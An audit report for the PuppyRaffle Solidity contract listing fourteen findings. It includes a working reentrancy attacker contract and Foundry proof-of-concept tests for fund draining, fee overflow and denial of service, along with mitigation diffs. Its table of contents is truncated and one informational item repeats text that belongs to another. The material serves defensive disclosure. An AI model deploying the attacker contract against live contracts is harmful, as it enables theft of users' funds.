Puppy Raffle Audit Report

Version 1.0

Jarrod Pyne

April 27, 2024

Puppy Raffle Audit Report

Jarrod Pyne

27 April 2024

Prepared by: Jarrod Pyne

Table of Contents

    * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables bad actors to selfdestruct a contract to send ETH to the raffle, blocking withdrawals
    * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Informational
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of Solidity is not recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI
    * [I-5] Use of 'magic' numbers is discouraged
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters: address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Jarrod Pyne makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not

an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I used the CodeHawks severity matrix to determine severity. See the documentation for more details.

Scope

commit hash: 0804be9b0fd17db9e2953e27e9de46585be870cf Scope: PuppyRaffle.sol ## Roles

- Owner‘– `Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	1
Info / Gas	6
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description The `PuppyRaffle::refund` function does not follow CEI (checks, effects and interactions) and as a result, enables participants to drain the contract balance.

ImpactA user could drain all funds currently deposited in the contract.

Proof of Concepts

PoC

```
function testReentrance() public playersEntered {
        ReentrancyAttacker attacker = new ReentrancyAttacker(address(
            puppyRaffle));
        vm.deal(address(attacker), 1e18);
        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        attacker.attack();

        uint256 endingAttackerBalance = address(attacker).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;
        assertEq(endingAttackerBalance, startingAttackerBalance +
            startingContractBalance);
        assertEq(endingContractBalance, 0);

        console.log("starting attacker balance",
            startingAttackerBalance);
        console.log("starting contract balance",
            startingContractBalance);
        console.log("ending attacker balance", address(attacker).
            balance);
        console.log("ending contract balance", address(puppyRaffle).
            balance);
    }
    }
   contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

```

```
30      function attack() external payable {
31          address[] memory players = new address[](1);
32          players[0] = address(this);
33          puppyRaffle.enterRaffle{value: entranceFee}(players);
34          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
35          puppyRaffle.refund(attackerIndex);
36      }
37
38      fallback() external payable {
39          if (address(puppyRaffle).balance >= entranceFee) {
40              puppyRaffle.refund(attackerIndex);
41          }
42      }
```

A player whom has entered the raffle could have a `fallback` / `receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. This would continue until the contract is drained entirely of its balance.

Recommended mitigation

We should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5  +        players[playerIndex] = address(0);
6  +        emit RaffleRefunded(playerAddress);
7          payable(msg.sender).sendValue(entranceFee);
8  -        players[playerIndex] = address(0);
9  -        emit RaffleRefunded(playerAddress);
10     }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner.

DescriptionHashing `msg.sender`, `block.timestamp` and `block.difficulty` together, crates a predictable number. This is not a good random number.

Users could frontrun this operation and revert a transaction if they were not going to win a `legendary` status NFT.

ImpactAny user can influence the outcome of the raffle, winning the money. A user can also predict

the rarity of an NFT ahead of time.

Proof of Concepts 1. validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when / how to participate; 2. users can manipulate their `msg.sender` value to result in their address being used to generate the winner; and 3. users can revert their `selectWinner` transaction if they don't like the winner or resulting NFT.

Recommended mitigation Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

DescriptionIn solidity versions prior to `0.8.0` integers were subject to integer overflows/ underflows.

ImpactIn `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the feeAddress to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concepts

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. totalFees will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4.You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof of Concepts

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
```

```
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] There is a loop in the logic for `PuppyRaffle::EnterRaffle` that is not bound to a limit of players meaning future entrants are unable to enter the Raffle given the significant expense

Description

The `PuppyRaffle::EnterRaffle` contains a loop that is bound to any limit:

```
    // @audit this looks like a DoS attack provided the iterative
       looping pattern
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }
```

As new players enter into the raffle, the gas cost associated with this increased dramatically.

Impact

This is a high impact issue provided because it directly prevents users from entering into a raffle to win a cute dog NFT. Alternatively, as the player count incrementally increases, it becomes economically infeasible for new players to fund their entrance into the contract.

Proof of Concepts

By simulating a test of the gas cost for the first 100 players entering into the raffle, and the gas cost difference between the next set of 100 entrants entering into the raffle, we can see the last batch of entrants face a far higher gas cost associated with the smart contract's utility:

PoC

```
function testDoSAttack() public {
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
```

```
6               players[i] = address(i);
7           }
8           uint256 gasStart = gasleft();
9           puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                players);
10          uint256 gasEnd = gasleft();
11
12          uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;
13          console.log("Gas cost of the first 100 players", gasUsed);
14
15          // next 100 participants
16          address[] memory playersTwo = new address[](playersNum);
17          for(uint256 i = 0; i < playersNum; i++) {
18              playersTwo[i] = address(i + playersNum);
19          }
20          uint256 gasStartSecond = gasleft();
21          puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
                }(playersTwo);
22          uint256 gasEndSecond = gasleft();
23          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
24          console.log("Gas cost of the first 100 players", gasUsedSecond)
                ;
25
26          assert(gasUsed < gasUsedSecond);
27      }
```

Recommended mitigation

There are two viable ways to mitigate: 1. a limit bound on the amount of entrants to the raffle contract; or 2. allow users to make duplicates. They'll do so anyways with different wallets. A mapping to check for duplication can also assist with this endeavour.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables bad actors to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "
            PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
```

```
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1       function withdrawFees() external {
2   -       require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description

```
1     function getActivePlayerIndex(address player) external view returns
          (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
7         return 0;
8     }
```

ImpactA player at index 0 to incorrectly think they have not entered the raffle and may attempt to enter the raffle again wasting gas.

Proof of Concepts 1. user enters the raffle, they are the first entrant; 2. `PuppyRaffle::getActivePlayerIndex` returns 0; and 3. user thinks they have not entered correctly due to the function documentation.

Recommended mitigation Revert if the player is not in the array rather than return 0.

Informational

[I-1] Solidity pragma should be specific, not wide

Description Consider using a specific version of Solidity in your contracts instead of a wide version. For example, use `pragma 0.8.0` instead of `pragma ^0.8.0`

[I-2] Using an outdated version of Solidity is not recommended

Description Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. The following issues are contained in version 0.7.6: • FullInlinerNonExpressionSplitArgumentEvaluationOrder • MissingSideEffectsOnSelectorAccess • AbiReencodingHeadOverflowWithStaticArrayCleanup • DirtyBytesArrayToStorage • DataLocationChangeInInternalOverride • NestedCalldataArrayAbiReencodingSizeValidation • SignedImmutables • ABIDecodeTwoDimensionalArrayMemory • KeccakCaching.

Recommended mitigation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Description Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryUri` should be `constant`

[I-4] `PuppyRaffle::selectWinner` does not follow CEI

It's best to follow checks, effects and, interactions when writing code.

[I-5] Use of 'magic' numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

For example:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
   int256 public constant POOL_PRECISION = 100;
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Description Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryUri` should be `constant`

Impact Reading from storage is much more expensive than reading from an immutable variable.